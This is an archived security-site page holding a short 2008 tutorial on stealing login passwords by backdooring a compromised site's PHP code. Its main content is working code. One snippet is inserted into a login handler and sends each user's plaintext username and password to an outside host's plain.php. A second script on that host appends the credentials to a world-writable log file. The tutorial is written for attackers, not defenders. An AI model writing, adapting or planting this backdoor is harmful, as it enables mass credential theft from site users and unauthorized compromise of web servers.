what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Password Ganking By Modifying PHP Code

Password Ganking By Modifying PHP Code
Posted Dec 30, 2008
Authored by Rohit Bansal

Brief login form password theft tutorial showing how to backdoor php code once access has been gained to a system in order to not have to crack hashes.

tags | paper, php
SHA-256 | efa9a5d70d121d1cd4ee5fd03891f3e0b9ec2ada0da46b4dc78a39dbc6a542b5

Password Ganking By Modifying PHP Code

Change Mirror Download
---------------------------------------------------------------------------------------
[+] Login Form Password Stealing - Tutorial
[+] Author: Rohit Bansal

---------------------------------------------------------------------------------------

Intro:
It seems that alot of people these days are gaining shell access,
downloading a database
then attempting to crack the hashes. If they are salted, sha1 or a hard to
crack plain
ole' MD5, they start bitchin and moaning when they can't get the plain text.
So here it
is, a tutorial on how to get user:pass format in plain text of ANY hash
type.

Method:
Modify the login form of a site to catch the password remotely, before it is
encrypted. I
will explain this more simply via an example.

Take the following login form for example,
<form method="post" action="cookies.php"><hr />
<p>User: <input type="text" class="buttonstyle" name="username"></p>
<p>Pass: <input type="password" class="buttonstyle" name="password"></p>
<p><input type="submit" value="Login" class="buttonstyle" name="submit">
<input type="reset" value="Reset" class="buttonstyle" /></p>
</form>

Now we can see that the action of this form points to 'cookies.php'. Now
cookies.php
will probably include a function similar to this depending on the encryption
type, etc.
$user = $_POST['username'];
$pass = $_POST['password'];
if(md5($user) == $usermd5 && md5($pass) == $passmd5){
setcookie("Whatever", $cookie, time()+3600, "/");
header("Location: index.php");
die();
}

Now on to bypassing the encryption before it happens, thus gaining the
username and
password in plain text we need to edit the 'cookie.php' site, add the
following code at
the start of the php tags.
<?php
$user = $_POST['username'];
$pass = $_POST['password'];
file_get_contents("http://site.com/plain.php?user=
".$user."&pass=".$pass."");
?>

Now the php file 'plain.php' will include the following code:
<?php
$user = $_GET['user'];
$pass = $_GET['pass'];
$file = "lol.txt";
$fp = fopen($file, "a");
fputs($fp, "$user:$pass\n");
fclose($fp);
?>

Notice you will also need to upload a file 'lol.txt', and chmod it to 777.

Conclusion:
Now everytime a user logs into the site you are editing the code of, it will
send the
username and password to the 'plain.php' text file and save it in 'log.txt',
on a remote
server in theformat of:
user:pass

---------------------------------------------------------------------------------------
[+]^Rohit Bansal [rohitisback@gmail.com]
[+] Schap, Infysec
---------------------------------------------------------------------------------------
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close